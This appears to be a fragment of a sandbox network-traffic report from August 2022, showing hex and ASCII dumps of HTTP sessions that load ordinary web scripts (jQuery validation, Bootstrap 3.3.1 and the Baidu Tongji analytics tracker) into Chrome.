6c 27 5d 2c 20 5b 74 79 70 65 3d 27 65 6d 61 69 6c 27 5d 2c 20 5b 74 79 70 65 3d 27 64 61 74 65 74 69 6d 65 27 5d 2c 
20 5b 74 79 70 65 3d 27 64 61 74 65 27 5d 2c 20 5b 74 79 70 65 3d 27 6d 6f 6e 74 68 27 5d 2c 20 5b 74 79 70 65 3d 27 
77 65 65 6b 27 5d 2c 20 5b 74 79 70 65 3d 27 74 69 6d 65 27 5d 2c 20 5b 74 79 70 65 3d 27 64 61 74 65 74 69 6d 65 2d 
6c 6f 63 61 6c 27 5d 2c 20 5b 74 79 70 65 3d 27 72 61 6e 67 65 27 5d 2c 
Data Ascii: ext, [type='password'], [type='file'], select, textarea, [type='number'], [type='search'] ,[type='tel'], [type='url'], 
[type='email'], [type='datetime'], [type='date'], [type='month'], [type='week'], [type='time'], [type='datetime-local'], [type='r
ange'],

2022-08-11 03:42:56 UTC 10573 IN Data Raw: 65 28 6e 29 7b 72 65 74 75 72 6e 20 6e 2e 73 75 62 73 74 72 28 30 2c 6e 2e 6c 61 73 74 49 6e 64 65 78 4f 66 
28 22 2e 22 29 2b 31 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 6e 2e 69 6e 64 65 78 4f 
66 28 22 2a 2e 22 29 3d 3d 3d 30 26 26 28 6e 3d 6e 2e 72 65 70 6c 61 63 65 28 22 2a 2e 22 2c 74 29 29 2c 6e 7d 66 75 
6e 63 74 69 6f 6e 20 63 28 74 2c 69 29 7b 76 61 72 20 72 3d 6e 28 74 68 69 73 29 2e 66 69 6e 64 28 22 5b 64 61 74 61 
2d 76 61 6c 6d 73 67 2d 66 6f 72 3d 27 22 2b 66 28 69 5b 30 5d 2e 6e 61 6d 65 29 2b 22 27 5d 22 29 2c 75 3d 6e 2e 70 
61 72 73 65 4a 53 4f 4e 28 72 2e 61 74 74 72 28 22 64 61 74 61 2d 76 61 6c 6d 73 67 2d 72 65 70 6c 61 63 65 22 29 29 
21 3d 3d 21 31 3b 72 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 66 69 
Data Ascii: e(n){return n.substr(0,n.lastIndexOf(".")+1)}function o(n,t){return n.indexOf("*.")===0&&(n=n.replace("*.",t
)),n}function c(t,i){var r=n(this).find("[data-valmsg-for='"+f(i[0].name)+"']"),u=n.parseJSON(r.attr("data-valmsg-replac
e"))!==!1;r.removeClass("fi

2022-08-11 03:42:56 UTC 10589 IN Data Raw: 63 6b 2e 62 73 2e 64 72 6f 70 64 6f 77 6e 22 2c 74 68 69 73 2e 74 6f 67 67 6c 65 29 7d 2c 66 3b 74 2e 56 45 
52 53 49 4f 4e 3d 22 33 2e 33 2e 31 22 3b 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 67 67 6c 65 3d 66 75 6e 63 74 69 6f 
6e 28 74 29 7b 76 61 72 20 66 3d 6e 28 74 68 69 73 29 2c 69 2c 6f 2c 65 3b 69 66 28 21 66 2e 69 73 28 22 2e 64 69 73 
61 62 6c 65 64 2c 20 3a 64 69 73 61 62 6c 65 64 22 29 29 7b 69 66 28 69 3d 75 28 66 29 2c 6f 3d 69 2e 68 61 73 43 6c 
61 73 73 28 22 6f 70 65 6e 22 29 2c 72 28 29 2c 21 6f 29 7b 69 66 28 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 
64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 21 69 2e 63 6c 6f 73 65 73 74 28 22 2e 6e 
61 76 62 61 72 2d 6e 61 76 22 29 2e 6c 65 6e 67 74 68 29 6e 28 
Data Ascii: ck.bs.dropdown",this.toggle)},f;t.VERSION="3.3.1";t.prototype.toggle=function(t){var f=n(this),i,o,e;if(!f.i
s(".disabled, :disabled")){if(i=u(f),o=i.hasClass("open"),r(),!o){if("ontouchstart"in document.documentElement&&!i.close
st(".navbar-nav").length)n(

2022-08-11 03:42:56 UTC 10605 IN Data Raw: 76 65 43 6c 61 73 73 28 22 66 61 64 65 20 74 6f 70 20 62 6f 74 74 6f 6d 20 6c 65 66 74 20 72 69 67 68 74 20 
69 6e 22 29 3b 6e 2e 66 69 6e 64 28 22 2e 70 6f 70 6f 76 65 72 2d 74 69 74 6c 65 22 29 2e 68 74 6d 6c 28 29 7c 7c 6e 
2e 66 69 6e 64 28 22 2e 70 6f 70 6f 76 65 72 2d 74 69 74 6c 65 22 29 2e 68 69 64 65 28 29 7d 3b 74 2e 70 72 6f 74 6f 74 
79 70 65 2e 68 61 73 43 6f 6e 74 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 
65 74 54 69 74 6c 65 28 29 7c 7c 74 68 69 73 2e 67 65 74 43 6f 6e 74 65 6e 74 28 29 7d 3b 74 2e 70 72 6f 74 6f 74 79 70 
65 2e 67 65 74 43 6f 6e 74 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 24 65 6c 65 6
d 65 6e 74 2c 6e 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3b 72 65 
Data Ascii: veClass("fade top bottom left right in");n.find(".popover-title").html()||n.find(".popover-title").hide()};t.prototype
.hasContent=function(){return this.getTitle()||this.getContent()};t.prototype.getContent=function(){var t=this.$element,
n=this.options;re

2022-08-11 03:42:56 UTC 10621 IN Data Raw: 6e 5b 74 2b 31 5d 3d 3d 22 23 22 29 72 65 74 75 72 6e 21 31 7d 69 3d 74 2b 31 7d 72 65 74 75 72 6e 21 31 
7d 2c 22 54 68 65 20 66 69 65 6c 64 20 63 6f 6e 74 61 69 6e 73 20 63 6f 6e 74 65 6e 74 20 74 68 61 74 20 6d 61 79 20 
70 72 65 73 65 6e 74 20 61 20 73 65 63 75 72 69 74 79 20 72 69 73 6b 2e 20 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 
70 70 72 6f 70 72 69 61 74 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 22 29 3b 6e 2e 76 61 6c 69 64 61 74 6f 72 2e 75 6e 6f 
62 74 72 75 73 69 76 65 2e 61 64 61 70 74 65 72 73 2e 61 64 64 28 22 6d 75 6c 74 69 72 65 67 65 78 22 2c 5b 22 70 61 
74 74 65 72 6e 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 7b 6d 70 61 74 74 65 72 6e 3a 6e 2e 70 
61 72 61 6d 73 2e 70 61 74 74 65 72 6e 7d 3b 6e 2e 72 75 6c 65 73 2e 6d 
Data Ascii: n[t+1]=="#")return!1}i=t+1}return!1},"The field contains content that may present a security risk. Please enter 
appropriate information");n.validator.unobtrusive.adapters.add("multiregex",["pattern"],function(n){var t={mpattern:
n.params.pattern};n.rules.m
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

167 192.168.11.20 58844 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:55 UTC 8483 OUT GET /img/logo-footer.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

168 103.235.46.191 443 192.168.11.20 61866 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:55 UTC 8484 IN HTTP/1.1 200 OK
Cache-Control: max-age=0, must-revalidate
Content-Length: 30399
Content-Type: application/javascript
Date: Thu, 11 Aug 2022 03:42:55 GMT
Etag: 916af3454c4a021140f471593448c81b
P3p: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Server: apache
Set-Cookie: HMACCOUNT=C94E621F60392D97; Path=/; Domain=hm.baidu.com; Expires=Sun, 18 Jan 2038 00:00:00 
GMT
Set-Cookie: HMACCOUNT_BFESS=C94E621F60392D97; Path=/; Domain=hm.baidu.com; Expires=Mon, 18 Jan 2038 
00:00:00 GMT; Secure; SameSite=None
Strict-Transport-Security: max-age=172800
Connection: close

2022-08-11 03:42:55 UTC 8484 IN Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 3d 7b 7d 2c 6d 74 3d 7b 7d 2c 63 3d 7b 69 64 3a 22 31 37 
66 65 37 30 65 63 63 39 64 37 36 61 39 32 37 64 37 66 34 36 64 62 65 36 35 66 65 66 63 61 22 2c 64 6d 3a 5b 22 65 6d 
69 67 75 70 69 61 6f 2e 63 6f 6d 22 5d 2c 6a 73 3a 22 74 6f 6e 67 6a 69 2e 62 61 69 64 75 2e 63 6f 6d 2f 68 6d 2d 77 65 
62 2f 6a 73 2f 22 2c 65 74 72 6b 3a 5b 5d 2c 63 65 74 72 6b 3a 5b 5d 2c 63 70 74 72 6b 3a 5b 5d 2c 69 63 6f 6e 3a 27 27 
2c 63 74 72 6b 3a 5b 5d 2c 76 64 75 72 3a 31 38 30 30 30 30 30 2c 61 67 65 3a 33 31 35 33 36 30 30 30 30 30 30 2c 71 
69 61 6f 3a 30 2c 70 74 3a 30 2c 73 70 61 3a 30 2c 61 65 74 3a 27 27 2c 68 63 61 3a 27 43 39 34 45 36 32 31 46 36 30 3
3 39 32 44 39 37 27 2c 61 62 3a 27 30 27 2c 76 3a 31 2c 61 70 70 
Data Ascii: (function(){var h={},mt={},c={id:"17fe70ecc9d76a927d7f46dbe65fefca",dm:["emigupiao.com"],js:"tongji.baidu.co
m/hm-web/js/",etrk:[],cetrk:[],cptrk:[],icon:'',ctrk:[],vdur:1800000,age:31536000000,qiao:0,pt:0,spa:0,aet:'',hca:'C94E6
21F60392D97',ab:'0',v:1,app

2022-08-11 03:42:55 UTC 8485 IN Data Raw: 66 3d 52 65 67 45 78 70 28 22 28 5e 7c 20 29 22 2b 66 2b 22 3d 28 5b 5e 3b 5d 2a 29 28 3b 7c 24 29 22 29 
2e 65 78 65 63 28 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 29 29 3f 66 5b 32 5d 3a 75 7d 3b 0a 6d 74 2e 63 6f 6f 6b 
69 65 2e 74 62 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 61 29 7b 74 72 79 7b 76 61 72 20 62 3d 22 48 6d 5f 63 6b 5f 22 2b 20 
2b 6e 65 77 20 44 61 74 65 3b 6d 74 2e 63 6f 6f 6b 69 65 2e 73 65 74 28 62 2c 22 34 32 22 2c 7b 64 6f 6d 61 69 6e 3a 
66 2c 70 61 74 68 3a 61 2c 44 3a 72 7d 29 3b 76 61 72 20 65 3d 22 34 32 22 3d 3d 3d 6d 74 2e 63 6f 6f 6b 69 65 2e 67 6
5 74 28 62 29 3f 22 31 22 3a 22 30 22 3b 6d 74 2e 63 6f 6f 6b 69 65 2e 73 65 74 28 62 2c 22 22 2c 7b 64 6f 6d 61 69 6e 3
a 66 2c 70 61 74 68 3a 61 2c 44 3a 2d 31 7d 29 3b 72 65 74 75 72 
Data Ascii: f=RegExp("(^| )"+f+"=([^;]*)(;|$)").exec(document.cookie))?f[2]:u};mt.cookie.tb=function(f,a){try{var b="Hm_
ck_"+ +new Date;mt.cookie.set(b,"42",{domain:f,path:a,D:r});var e="42"===mt.cookie.get(b)?"1":"0";mt.cookie.set(b,"",{do
main:f,path:a,D:-1});retur

2022-08-11 03:42:56 UTC 8579 IN Data Raw: 28 2f 2e 2a 40 2f 2c 22 22 29 3a 75 7d 3b 6d 74 2e 75 72 6c 2e 57 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 
65 74 75 72 6e 28 66 3d 6d 74 2e 75 72 6c 2e 55 61 28 66 29 29 3f 66 2e 72 65 70 6c 61 63 65 28 2f 3a 5c 64 2b 24 2f 2c 
22 22 29 3a 66 7d 3b 6d 74 2e 75 72 6c 2e 72 62 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 76 61 72 20 61 3d 64 6f 63 75 
6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2c 61 3d 61 2e 72 65 70 6c 61 63 65 28 2f 5e 68 74 74 70 73 3f 3a 
5c 2f 5c 2f 2f 2c 22 22 29 3b 72 65 74 75 72 6e 20 30 3d 3d 3d 61 2e 69 6e 64 65 78 4f 66 28 66 29 7d 3b 6d 74 2e 75 72 
6c 2e 73 62 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 61 29 7b 66 3d 22 2e 22 2b 66 2e 72 65 70 6c 61 63 65 28 2f 3a 5c 64 
2b 2f 2c 22 22 29 3b 61 3d 22 2e 22 2b 61 2e 72 65 70 6c 61 63 
Data Ascii: (/.*@/,""):u};mt.url.W=function(f){return(f=mt.url.Ua(f))?f.replace(/:\d+$/,""):f};mt.url.rb=function(f){var 
a=document.location.href,a=a.replace(/^https?:\/\//,"");return 0===a.indexOf(f)};mt.url.sb=function(f,a){f="."+f.replac
e(/:\d+/,"");a="."+a.replac

2022-08-11 03:42:56 UTC 8580 IN Data Raw: 65 63 74 6f 72 28 62 2e 73 75 62 73 74 72 69 6e 67 28 36 2c 62 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 
61 72 20 65 3d 62 2e 73 70 6c 69 74 28 22 3e 22 29 2c 64 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2c 61 3d 65 2e 6c 
65 6e 67 74 68 2d 31 3b 30 3c 3d 61 3b 61 2d 2d 29 69 66 28 2d 31 3c 65 5b 61 5d 2e 69 6e 64 65 78 4f 66 28 22 23 22 
29 29 7b 76 61 72 20 6b 3d 65 5b 61 5d 2e 73 70 6c 69 74 28 22 23 22 29 5b 31 5d 3b 28 64 3d 64 6f 63 75 6d 65 6e 74 
2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 6b 29 29 7c 7c 28 64 3d 64 6f 63 
Data Ascii: ector(b.substring(6,b.length));for(var e=b.split(">"),d=document.body,a=e.length-1;0<=a;a--)if(-1<e[a].index
Of("#")){var k=e[a].split("#")[1];(d=document.getElementById(k))||(d=doc

2022-08-11 03:42:56 UTC 8580 IN Data Raw: 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 
65 6e 74 28 6b 29 29 29 3b 65 3d 65 2e 73 70 6c 69 63 65 28 61 2b 31 2c 65 2e 6c 65 6e 67 74 68 2d 28 61 2b 31 29 29 
3b 62 72 65 61 6b 7d 66 6f 72 28 62 3d 0a 30 3b 64 26 26 62 3c 65 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 6c 3d 53 
74 72 69 6e 67 28 65 5b 62 5d 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 69 66 28 21 28 22 68 74 6d 6c 22 3d 3d 3
d 6c 7c 7c 22 62 6f 64 79 22 3d 3d 3d 6c 29 29 7b 76 61 72 20 61 3d 30 2c 66 3d 65 5b 62 5d 2e 6d 61 74 63 68 28 2f 5c 
5b 28 5c 64 2b 29 5c 5d 2f 69 29 2c 6b 3d 5b 5d 3b 69 66 28 66 29 61 3d 66 5b 31 5d 2d 31 2c 6c 3d 6c 2e 73 70 6c 69 
74 28 22 5b 22 29 5b 30 5d 3b 65 6c 73 65 20 69 66 28 31 21 3d 3d 64 
Data Ascii: ument.getElementById(decodeURIComponent(k)));e=e.splice(a+1,e.length-(a+1));break}for(b=0;d&&b<e.l
ength;){var l=String(e[b]).toLowerCase();if(!("html"===l||"body"===l)){var a=0,f=e[b].match(/\[(\d+)\]/i),k=[];if(f)a=f[1]-1,l=l.s
plit("[")[0];else if(1!==d
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2022-08-11 03:42:56 UTC 8699 IN Data Raw: 22 5d 2c 67 3d 62 2e 6c 65 6e 67 74 68 2c 6b 2c 6c 2c 71 3b 66 6f 72 28 6c 3d 30 3b 6c 3c 67 3b 6c 2b 2b 29 
73 77 69 74 63 68 28 71 3d 62 5b 6c 5d 2c 74 79 70 65 6f 66 20 71 29 7b 63 61 73 65 20 22 75 6e 64 65 66 69 6e 65 64 
22 3a 63 61 73 65 20 22 66 75 6e 63 74 69 6f 6e 22 3a 63 61 73 65 20 22 75 6e 6b 6e 6f 77 6e 22 3a 62 72 65 61 6b 3b 
64 65 66 61 75 6c 74 3a 6b 26 26 64 2e 70 75 73 68 28 22 2c 22 29 2c 64 2e 70 75 73 68 28 6d 74 2e 7a 2e 73 74 72 69 
6e 67 69 66 79 28 71 29 29 2c 6b 3d 31 7d 64 2e 70 75 73 68 28 22 5d 22 29 3b 72 65 74 75 72 6e 20 64 2e 6a 6f 69 6e 
28 22 22 29 7d 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 44 61 74 65 29 72 65 74 75 72 6e 27 22 27 2b 62 2e 67 
65 74 46 75 6c 6c 59 65 61 72 28 29 2b 22 2d 22 2b 61 28 62 2e 67 65 74 
Data Ascii: "],g=b.length,k,l,q;for(l=0;l<g;l++)switch(q=b[l],typeof q){case "undefined":case "function":case "unknown":
break;default:k&&d.push(","),d.push(mt.z.stringify(q)),k=1}d.push("]");return d.join("")}if(b instanceof Date)return'"'+
b.getFullYear()+"-"+a(b.get

2022-08-11 03:42:56 UTC 8704 IN Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 66 3d 7b 77 3a 7b 7d 2c 63 3a 66 75 6e 63 74 69 6f 6e 28 61 
2c 62 29 7b 74 68 69 73 2e 77 5b 61 5d 3d 74 68 69 73 2e 77 5b 61 5d 7c 7c 5b 5d 3b 74 68 69 73 2e 77 5b 61 5d 2e 70 
75 73 68 28 62 29 7d 2c 6c 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 68 69 73 2e 77 5b 61 5d 3d 74 68 69 73 2e 
77 5b 61 5d 7c 7c 5b 5d 3b 66 6f 72 28 76 61 72 20 65 3d 74 68 69 73 2e 77 5b 61 5d 2e 6c 65 6e 67 74 68 2c 64 3d 30 3
b 64 3c 65 3b 64 2b 2b 29 74 68 69 73 2e 77 5b 61 5d 5b 64 5d 28 62 29 7d 7d 3b 72 65 74 75 72 6e 20 68 2e 74 3d 66 
7d 29 28 29 3b 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 66 3d 6d 74 2e 6c 61 6e 67 2c 61 3d 2f 5e 68 74 74 
70 73 3f 3a 5c 2f 5c 2f 2f 2c 62 3d 7b 51 61 3a 66 75 6e 63 74 69 6f 6e 
Data Ascii: (function(){var f={w:{},c:function(a,b){this.w[a]=this.w[a]||[];this.w[a].push(b)},l:function(a,b){this.w[a]=this.w[a]||
[];for(var e=this.w[a].length,d=0;d<e;d++)this.w[a][d](b)}};return h.t=f})();(function(){var f=mt.lang,a=/^https?:\/\//,b={Qa:fu
nction

2022-08-11 03:42:56 UTC 8933 IN Data Raw: 3d 3d 61 5b 31 5d 7c 7c 22 67 69 66 22 3d 3d 3d 61 5b 31 5d 3f 27 3c 61 20 68 72 65 66 3d 22 27 2b 65 2b 27 
22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 69 6d 67 20 62 6f 72 64 65 72 3d 22 30 22 20 73 72 63 3d 22 
27 2b 64 2b 27 22 20 77 69 64 74 68 3d 22 27 2b 61 5b 32 5d 2b 27 22 20 68 65 69 67 68 74 3d 22 27 2b 61 5b 33 5d 2b 
27 22 3e 3c 2f 61 3e 27 3a 27 3c 61 20 68 72 65 66 3d 22 27 2b 65 2b 27 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6
b 22 3e 27 2b 61 5b 30 5d 2b 22 3c 2f 61 3e 22 29 7d 7d 7d 3b 68 2e 74 2e 63 28 22 70 76 2d 62 22 2c 61 2e 46 29 3b 72 
65 74 75 72 6e 20 61 7d 29 28 29 3b 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 66 3d 6d 74 2e 75 72 6c 2c 61 
3d 6d 74 2e 63 6f 6f 6b 69 65 2c 62 3d 6d 74 2e 6c 6f 63 61 6c 53 74 
Data Ascii: ==a[1]||"gif"===a[1]?'<a href="'+e+'" target="_blank"><img border="0" src="'+d+'" width="'+a[2]+'" height="'
+a[3]+'"></a>':'<a href="'+e+'" target="_blank">'+a[0]+"</a>")}}};h.t.c("pv-b",a.F);return a})();(function(){var f=mt.ur
l,a=mt.cookie,b=mt.localSt

2022-08-11 03:42:56 UTC 8937 IN Data Raw: 65 74 26 26 62 2e 74 61 72 67 65 74 21 3d 77 69 6e 64 6f 77 29 29 6e 3d 22 66 6f 63 75 73 22 3d 3d 62 2e 74 
79 70 65 7c 7c 22 66 6f 63 75 73 69 6e 22 3d 3d 62 2e 74 79 70 65 3f 73 3a 76 2c 61 28 29 7d 76 61 72 20 64 3d 6d 74 
2e 65 76 65 6e 74 2c 67 3d 68 2e 74 2c 6b 3d 73 2c 6c 3d 73 2c 71 3d 73 2c 6e 3d 73 2c 74 3d 2b 6e 65 77 20 44 61 74 
65 2c 6d 3d 74 2c 70 3d 30 2c 77 3d 73 2c 79 3d 62 28 22 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 22 29 2c 78 3d 
62 28 22 68 69 64 64 65 6e 22 29 2c 43 3b 61 28 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 79 2e 72 
65 70 6c 61 63 65 28 2f 5b 76 56 5d 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 2f 2c 22 76 69 73 69 62 69 6c 69 74 79 
63 68 61 6e 67 65 22 29 3b 64 2e 63 28 64 6f 63 75 6d 65 6e 74 2c 62 2c 
Data Ascii: et&&b.target!=window))n="focus"==b.type||"focusin"==b.type?s:v,a()}var d=mt.event,g=h.t,k=s,l=s,q=
s,n=s,t=+new Date,m=t,p=0,w=s,y=b("visibilityState"),x=b("hidden"),C;a();(function(){var b=y.replace(/[vV]isibilityState
/,"visibilitychange");d.c(document,b,

2022-08-11 03:42:56 UTC 8939 IN Data Raw: 75 72 6c 2c 65 3d 6d 74 2e 6c 61 6e 67 2c 64 3d 6d 74 2e 7a 2c 67 3d 6d 74 2e 65 2c 6b 3d 68 2e 73 2c 6c 
3d 68 2e 74 2c 71 3d 68 2e 48 61 2c 6e 3d 68 2e 6c 6f 61 64 2c 74 3d 68 2e 53 2c 6d 3d 7b 47 3a 5b 5d 2c 50 3a 30 2c 
5a 3a 76 2c 6f 3a 7b 63 61 3a 22 22 2c 70 61 67 65 3a 22 22 7d 2c 46 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 6d 2e 69 3d 0
a 30 3b 6c 2e 63 28 22 70 76 2d 62 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6d 2e 49 61 28 29 3b 6d 2e 4c 61 28 29 7d 29 
3b 6c 2e 63 28 22 70 76 2d 64 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6d 2e 4d 61 28 29 3b 6d 2e 6f 2e 70 61 67 65 3d 
22 22 7d 29 3b 6c 2e 63 28 22 73 74 61 67 2d 62 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 68 2e 62 2e 61 2e 61 70 69 3d 
6d 2e 69 7c 7c 6d 2e 50 3f 6d 2e 69 2b 22 5f 22 2b 6d 2e 50 3a 22 22 3b 
Data Ascii: url,e=mt.lang,d=mt.z,g=mt.e,k=h.s,l=h.t,q=h.Ha,n=h.load,t=h.S,m={G:[],P:0,Z:v,o:{ca:"",page:""},F:function()
{m.i=0;l.c("pv-b",function(){m.Ia();m.La()});l.c("pv-d",function(){m.Ma();m.o.page=""});l.c("stag-b",function(){h.b.a.ap
i=m.i||m.P?m.i+"_"+m.P:"";

2022-08-11 03:42:57 UTC 10627 IN Data Raw: 61 2e 75 7c 7c 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2c 68 2e 62 2e 61 2e 75 
3d 6b 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 2b 61 
5b 31 5d 2c 68 2e 62 2e 6e 28 29 2c 68 2e 62 2e 75 62 3d 2b 6e 65 77 20 44 61 74 65 29 7d 2c 5f 74 72 61 63 6b 45 76 
65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 32 3c 61 2e 6c 65 6e 67 74 68 26 26 28 6d 2e 69 7c 3d 38 2c 68 2e 62 
2e 61 2e 65 74 3d 34 2c 68 2e 62 2e 61 2e 65 70 3d 65 2e 67 28 61 5b 31 5d 29 2b 0a 22 2a 22 2b 65 2e 67 28 61 5b 32 
5d 29 2b 28 61 5b 33 5d 3f 22 2a 22 2b 65 2e 67 28 61 5b 33 5d 29 3a 22 22 29 2b 28 61 5b 34 5d 3f 22 2a 22 2b 65 2e 6
7 28 61 5b 34 5d 29 3a 22 22 29 2c 68 2e 62 2e 6e 28 29 29 7d 2c 
Data Ascii: a.u||document.location.href),h.b.a.u=k.protocol+"//"+document.location.host+a[1],h.b.n(),h.b.ub=+new Date)},
_trackEvent:function(a){2<a.length&&(m.i|=8,h.b.a.et=4,h.b.a.ep=e.g(a[1])+"*"+e.g(a[2])+(a[3]?"*"+e.g(a[3]):"")+(a[4]?"*
"+e.g(a[4]):""),h.b.n())},

2022-08-11 03:42:57 UTC 10631 IN Data Raw: 67 28 67 2e 6c 61 6e 67 75 61 67 65 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 74 68 69 73 2e 61 2e 6a 
61 3d 67 2e 6a 61 76 61 45 6e 61 62 6c 65 64 3f 31 3a 30 3b 74 68 69 73 2e 61 2e 63 6b 3d 67 2e 63 6f 6f 6b 69 65 45 
6e 61 62 6c 65 64 3f 31 3a 30 3b 74 68 69 73 2e 61 2e 6c 6f 3d 22 6e 75 6d 62 65 72 22 3d 3d 3d 74 79 70 65 6f 66 20 5f 
62 64 68 6d 5f 74 6f 70 3f 31 3a 30 3b 74 68 69 73 2e 61 2e 76 3d 22 31 2e 32 2e 39 36 22 3b 74 68 69 73 2e 61 2e 63 
76 3d 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6e 2e 67 65 74 44 61 74 61 28 22 48 6d 5f 63 76 5f 22 2b 
63 2e 69 64 29 7c 7c 22 22 29 3b 74 68 69 73 2e 61 2e 74 74 3d 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6c 65 7c 7c 22 22 3
b 74 68 69 73 2e 61 2e 76 6c 3d 67 2e 58 28 29 3b 76 61 72 20 62 
Data Ascii: g(g.language).toLowerCase();this.a.ja=g.javaEnabled?1:0;this.a.ck=g.cookieEnabled?1:0;this.a.lo="n
umber"===typeof _bdhm_top?1:0;this.a.v="1.2.96";this.a.cv=decodeURIComponent(n.getData("Hm_cv_"+c.id)||"");thi
s.a.tt=document.title||"";this.a.vl=g.X();var b

2022-08-11 03:42:57 UTC 10633 IN Data Raw: 7c 22 22 2c 66 3d 2f 5e 63 75 73 74 6f 6d 65 76 65 6e 74 24 7c 5e 68 65 61 74 6d 61 70 24 7c 5e 70 61 67 65 
63 6c 69 63 6b 24 7c 5e 73 65 6c 65 63 74 24 2f 2e 74 65 73 74 28 65 29 3b 69 66 28 52 65 67 45 78 70 28 63 2e 69 64 
29 2e 74 65 73 74 28 64 2e 73 64 7c 7c 22 22 29 26 26 66 29 62 2e 61 2e 72 6e 64 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 
4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 6d 2e 48 29 2c 70 28 6d 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 63 2e 6a 
73 2b 65 2b 22 2e 6a 73 3f 22 2b 62 2e 61 2e 72 6e 64 29 7d 7d 29 3b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e 70 6f 7
3 74 4d 65 73 73 61 67 65 28 7b 69 64 3a 63 2e 69 64 2c 75 72 6c 3a 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 
2e 68 72 65 66 2c 73 74 61 74 75 73 3a 22 5f 5f 4d 65 73 73 65 6e 
Data Ascii: |"",f=/^customevent$|^heatmap$|^pageclick$|^select$/.test(e);if(RegExp(c.id).test(d.sd||"")&&f)b.a.rnd=Math.
round(Math.random()*m.H),p(m.protocol+"//"+c.js+e+".js?"+b.a.rnd)}});window.parent.postMessage({id:c.id,url:do
cument.location.href,status:"__Messen

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:57 UTC 10634 IN Data Raw: 65 72 73 2e 62 61 69 64 75 2e 63 6f 6d 2f 61 70 70 2f 73 2e 6a 73 3f 22 5d 3b 42 2e 70 75 73 68 28 63 2e 61 
70 70 73 29 3b 41 28 42 2e 6a 6f 69 6e 28 22 22 29 29 7d 76 61 72 20 44 3d 68 2e 73 2c 45 3d 68 2e 6c 6f 61 64 3b 63 
2e 70 74 26 26 45 28 5b 44 2e 70 72 6f 74 6f 63 6f 6c 2c 22 2f 2f 61 64 61 2e 62 61 69 64 75 2e 63 6f 6d 2f 70 68 6f 6e 65 
2d 74 72 61 63 6b 65 72 2f 69 6e 73 65 72 74 5f 62 64 74 6a 3f 73 69 64 3d 22 2c 63 2e 70 74 5d 2e 6a 6f 69 6e 28 22 22 
